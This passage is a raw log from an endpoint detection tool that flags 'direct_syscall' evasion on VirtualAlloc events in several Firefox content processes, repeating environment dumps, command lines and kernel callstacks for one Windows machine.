PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529490 + Pid: 1128 + Tid: 20880 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5283907 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 123fc3a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 1128, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 1128 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10260:48747 -prefMapHandle 10256:292858 -jsInitHandle 10252:224660 -parentBuildID 20251118022223 -ipcHandle 10420 -initialChannelId {fa0a0784-f668-41bf-941a-8455df160bea} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9952 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10260:48747 -prefMapHandle 10256:292858 -jsInitHandle 10252:224660 -parentBuildID 20251118022223 -ipcHandle 10420 -initialChannelId {fa0a0784-f668-41bf-941a-8455df160bea} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9952 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529494 + Pid: 10456 + Tid: 24364 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5296635 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c28b6fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 10456, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 10456 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13200:48747 -prefMapHandle 13192:292858 -jsInitHandle 13172:224660 -parentBuildID 20251118022223 -ipcHandle 12724 -initialChannelId {112131a9-30d1-4039-904b-e22bd5d53b43} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 10292 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 37 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13200:48747 -prefMapHandle 13192:292858 -jsInitHandle 13172:224660 -parentBuildID 20251118022223 -ipcHandle 12724 -initialChannelId {112131a9-30d1-4039-904b-e22bd5d53b43} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 10292 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 37 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529517 + Pid: 16448 + Tid: 24312 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.6668381 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 4382fbb000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 16448, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 16448 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10924:48747 -prefMapHandle 10928:292858 -jsInitHandle 10932:224660 -parentBuildID 20251118022223 -ipcHandle 10808 -initialChannelId {fb3a4a75-90a9-46e4-a1b6-14282dd5144a} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11036 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 26 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10924:48747 -prefMapHandle 10928:292858 -jsInitHandle 10932:224660 -parentBuildID 20251118022223 -ipcHandle 10808 -initialChannelId {fb3a4a75-90a9-46e4-a1b6-14282dd5144a} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11036 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 26 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529518 + Pid: 18060 + Tid: 24320 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.6668525 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c0a19fb000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, 